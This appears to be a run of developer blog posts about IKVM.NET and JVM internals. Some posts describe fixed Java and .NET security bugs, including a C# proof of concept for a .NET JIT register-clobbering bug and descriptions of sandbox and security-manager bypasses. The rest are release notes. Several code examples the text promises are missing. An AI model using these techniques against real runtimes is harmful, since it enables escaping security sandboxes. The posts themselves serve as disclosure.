My friends at Oracle seem determined to make me finish my infinite series of blog posts of Java method overriding.

Before the 7u45 security update the following (pseudo) code ran fine:

class A {
  final void m() { }
}

class B extends A {
  private void m() { }
}

Now with 7u45, loading class B throws an exception:

java.lang.VerifyError: class B overrides final method m.()V

This makes no sense at all and is a misguided attempt to fix the issue I reported here. Ironically, it doesn't even completely fix the issue, because a static finalize method still prevents the final finalizer from running:

class A {
  protected void finalize() {
    System.out.println("A.finalize");
  }
}

class B extends A {
  public static void main(String[] args) {
    new B();
    System.gc();
    System.runFinalization();
  }

  private static void finalize() { }
}

Pre-emptive comment about comments: Feel free to leave comments, but I'm not going to respond to people that clearly don't have a clue.

Update: I misread the spec. The change is actually in line with the spec. Unfortunately the spec is wrong.

I did not discover this vulnerability (Alon Fliess filed the (public) bug report), but I decided to investigate it and write a PoC exploit:

using System;
using System.Runtime.CompilerServices;

struct Foo {
  byte b1, b2, b3;
}

class U1 { }
class U2 { }

struct StackFields {
  internal object f1;
  internal U1 f2;
  internal U2 f3;
}

class Program {
  long field1;
  long field2;

  static void Main() {
    new Program().Get(new Foo[1, 1]);
  }

  [MethodImpl(MethodImplOptions.NoInlining)]
  object Get(T[,] arr) {
    StackFields fields = new StackFields();
    fields.f1 = new U1();
    fields.f2 = new U1();
    fields.f3 = new U2();
    arr.ToString();
    object v = arr[0, 0];
    field2 = field1;
    Console.WriteLine(fields.f3);
    return v;
  }
}

This requires .NET 4.5 x64 (and must be built/run in release mode).

The bug is that the array accessor that is generated clobbers the RSI and RDI registers.

Compile the following code:

Now patch Derived.class with a hex editor to change fin_lize to finalize. Run with OpenJDK or Oracle JRE/JDK and observe that Derived.finalize is printed.

This happens because the finalize method is called via JNI reflection and the method name is resolved against the real object type instead of java.lang.Object. The OpenJDK code can be seen here.

A better way to do this would be to add an invokeFinalize method to JavaLangAccess. This avoids the expense of native code and reflection.

Yesterday I wrote about the security issue fixed in Update 21. Today I'll describe the "Security-In-Depth" issue.

As a result of the Thread Cloning Vulnerability, Oracle removed honoring the absense of ACC_SUPER from HotSpot in Update 13. The HotSpot patch can be seen here.

Again, while working on IKVM's dynamic binding, I found that it was still possible to do a non-virtual invocation of an overridden method by using a MethodHandle. This was fixed in Update 21.

Here's an example that uses Indify to generate the MethodHandle constants and manages to call Object.clone() on a Thread object on Update 13:

You can compile and run this without Indify and it will show the problem (on versions before Update 21), but you need to run Indify to make it work with an active SecurityManager.

The difference between looking up method handles via the API versus using MethodHandle constants is analogous to the difference between normal bytecode method invocation and classic reflection. When going via the API the SecurityManager is involved, but the runtime linker does not call the SecurityManager. MethodHandle constants (when they are properly implemented) don't allow you to do anything that normal bytecode can't do. This is why the claim made by Security Explorations about Issue 54 was incorrect.

While I was working on rewriting IKVM's dynamic binding support based on method handles I stumbled into a rather serious bug in the Oracle Java implementation. It allowed any code to overwrite public final fields. This has been fixed in Update 21.

Below is a proof of concept that disables the security manager. It works by changing Double.TYPE to Integer.TYPE and then using reflection to copy an integer field from one object to another, but because of the patched TYPE fields reflection thinks the integer field is a double and copies 8 bytes instead of 4.

The first release candidate is available. It can be downloaded here or from NuGet.

What's New (relative to IKVM.NET 7.2):

• Greatly improved support for dynamically loading classes in statically compiled assembly class loaders.
• Changed ikvmc to default to using runtime binding when a class is not available at compile time.
• Fixed ikvmc to use jar class loading that matches the runtime.
• The runtime now projects stub classes into the (virtual file system) jars they came from.
• Runtime stub classes are now generated by the same code as ikvmstub uses.
• Fixed a typo in ikvm.runtime.Startup.addBootClassPathAssembly() method name.
• Fixed memory model bugs on ARM.
• Many bug fixes.
• Improved ikvmc error messages.
• Deprecated using stub classes with ikvmc.
• Added IKVM.Attributes.JavaResourceAttribute to allow .NET resource to be exposed to Java.
• Font API improvements.
• Graphics API improvements.
• Support building IKVM.NET on .NET 4.5, but targetting .NET 4.0.

Changes since previous development snapshot:

• Volatile long/double fields should not use slow reflection.
• Reduce complexity of annotation custom attributes construction to improve performance and lower risk (for broken apps that should have used ReflectionOnly).
• Removed accidentally public methods from ikvm.internal.AnnotationAttributeBase.
• Fixed ikvm.internal.AnnotationAttributeBase to freeze in writeReplace/Equals/GetHashCode/ToString.

Binaries available here: ikvmbin-7.3.4830.0.zip

Sources: ikvmsrc-7.3.4830.0.zip, openjdk-7u6-b24-stripped.zip

My burst of inspiration ended. So I guess it's time to do a release soon.

Changes:

• Expose Java 8 static interface methods as static methods via nested __Methods type.
• Expose Java 8 default interface methods as static methods via nested __DefaultMethods type.
• Build fix. When doing a clean build the two generated Java source files don't exist yet, so we process the .in files instead.
• Added nuget package creation build file.

Binaries available here: ikvmbin-7.3.4826.zip

I'm still working on issues resulting from the big change. There are some more known issues and probably a few unknown ones. However, I couldn't help myself and decided to a little bit of work on Java 8 support. If you define the IKVM_EXPERIMENTAL_JDK_8 environment variable, you can now run Java 8 class files that use the new static and default interface method features.

There is no interop with other .NET languages yet, so you won't be able to call static interface methods from (e.g.) C# or take advantage of default interface method implementations. The interop story for default interface methods isn't going to be great even when it is done. You'll have to manually call the default methods in your C# code. Something like this:

class MyCSharpClass : SomeJavaInterface {
   public void method() {
      SomeJavaInterface.__DefaultMethods.method(this);
   }
}

Changes:

• Optimized some dynamic binding operations.
• Switched dynamic field binding to method handles.
• Removed "effectively final" optimization because it breaks the ability to dynamically load subclasses.
• Added experimental support for static methods in interfaces (for Java 8 class files).
• Added experimental support for default interfaces methods (for Java 8 class files).
• Fixed an ikvmc crash when a member is accessed on a type from a missing assembly.
• Fixed transparency artefact with AlphaComposite.Src and and anti-aliased text.
• Bug fix. Don't implement interfaces that aren't accessible.
• Changed TextArea peer from TextBox to RichTextBox (to handle LF correctly) and implemented replaceRange.
• Tweaked f2i, f2l, d2i and d2l bytecodes to be a bit faster in the common case.

Binaries available here: ikvmbin-7.3.4817.zip

Another week, another snapshot.

Changes:

• Fixed several annotation encoding issues in new stub class generator.
• Added back support for exporting annotations in .NET assembly stub classes.
• Fixed ikvmc to not add ObsoleteAttribute to deprecated types/members that already have an explicit ObsoleteAttribute annotation.
• Fixed a typo in ikvm.runtime.Startup.addBootClassPathAssembly() method name.
• Bug fix. .NET enums used in Java annotations were not usable from .NET custom attribute.
• Added license headers to build scripts.
• Made boot class package handling simpler (more OpenJDK based). The package information is now read from the manifest instead of hard coded.

Binaries available here: ikvmbin-7.3.4811.zip

I finally created a github repository for ikdasm. A couple of weeks ago I fixed some ildasm compatibility issues and changed pinvokeimpl and marshalas handling to use the IKVM.Reflection specific APIs instead of decoding the pseudo custom attributes (I also used the new IKVM.Reflection feature to disable generating pseudo custom attributes). I added external module support and fixed some other small issues.

The primary purpose of ikdasm is to make sure that the IKVM.Reflection API is complete. I believe it now exposes all relevant Managed PE file features. The secondary feature is to test IKVM.Reflection and to make this easy ikdasm replicates (almost) all ildasm quirks to enable comparing the output files. I disassembled a large number of files (including C++/CLI and Managed C++ files) and compared the results.

Only a small subset of ildasm functionality has been cloned. There is no GUI and most command line options are also not implemented.

Pull requests are welcome.